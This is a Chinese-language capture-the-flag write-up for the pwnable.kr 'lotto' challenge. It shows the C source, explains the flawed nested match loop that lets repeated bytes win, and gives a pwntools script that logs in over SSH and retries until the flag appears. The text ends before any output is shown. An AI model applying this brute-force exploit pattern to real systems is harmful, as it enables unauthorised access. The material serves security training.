【pwnable.kr】lotto

pwnable。好像最近的几道题都不需要看汇编。

ssh lotto@pwnable.kr -p2222 (pw:guest)

直接down下来源码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

unsigned char submit[6];

void play(){
    
    int i;
    printf("Submit your 6 lotto bytes : ");
    fflush(stdout);

    int r;
    r = read(0, submit, 6);

    printf("Lotto Start!\n");
    //sleep(1);

    // generate lotto numbers
    int fd = open("/dev/urandom", O_RDONLY);
    if(fd==-1){
        printf("error. tell admin\n");
        exit(-1);
    }
    unsigned char lotto[6];
    if(read(fd, lotto, 6) != 6){
        printf("error2. tell admin\n");
        exit(-1);
    }
    for(i=0; i<6; i++){
        lotto[i] = (lotto[i] % 45) + 1;        // 1 ~ 45
    }
    close(fd);
    
    // calculate lotto score
    int match = 0, j = 0;
    for(i=0; i<6; i++){
        for(j=0; j<6; j++){
            if(lotto[i] == submit[j]){
                match++;
            }
        }
    }

    // win!
    if(match == 6){
        system("/bin/cat flag");
    }
    else{
        printf("bad luck...\n");
    }

}

void help(){
    printf("- nLotto Rule -\n");
    printf("nlotto is consisted with 6 random natural numbers less than 46\n");
    printf("your goal is to match lotto numbers as many as you can\n");
    printf("if you win lottery for *1st place*, you will get reward\n");
    printf("for more details, follow the link below\n");
    printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
    printf("mathematical chance to win this game is known to be 1/8145060.\n");
}

int main(int argc, char* argv[]){

    // menu
    unsigned int menu;

    while(1){

        printf("- Select Menu -\n");
        printf("1. Play Lotto\n");
        printf("2. Help\n");
        printf("3. Exit\n");

        scanf("%d", &menu);

        switch(menu){
            case 1:
                play();
                break;
            case 2:
                help();
                break;
            case 3:
                printf("bye\n");
                return 0;
            default:
                printf("invalid menu\n");
                break;
        }
    }
    return 0;
}

看到随机数是从 /dev/urandom中取出的，搜了一下，发现这个是伪随机。

最开始的想法是直接找到第一个爆破一下，发现爆破难度还是挺大的，因为每次运行都是不一样的，这个是系统自行维护的。

找一下源代码吧。

    for(i=0; i<6; i++){
        for(j=0; j<6; j++){
            if(lotto[i] == submit[j]){
                match++;
            }
        }

这部分乍一看好像没问题，循环6*6次，找到6次一样的就够了。

大致想想好像没啥问题，但是总觉得不对，如果这样输入6个1，当产生的lotto[6]中有一个是1就bypass了。

上脚本验证一下：

from pwn import *
s= ssh(host='pwnable.kr',user='lotto',password='guest',port=2222)
pro = s.process('/home/lotto/lotto')
print pro.recv()
pro.sendline('1')
print pro.recv()
str1 = ""
str1 += chr(1)+chr(1)+chr(1)+chr(1)+chr(1)+chr(6)
pro.sendline(str1)
revcstr =  pro.recv()
print len(revcstr),revcstr
#exit()

while 1:
    pro.sendline('1')
    print pro.recv()
    pro.sendline(str1)
    a =  pro.recv()
    if len(a)>71: #71是先验知识，指输入错误返回字符串的长度，就是下面字符串的长度
        print a
        break
    #pass
'''

Lotto Start!
bad luck...
- Select Menu -
1. Play Lotto
2. Help
3. Exit

'''

运行一下：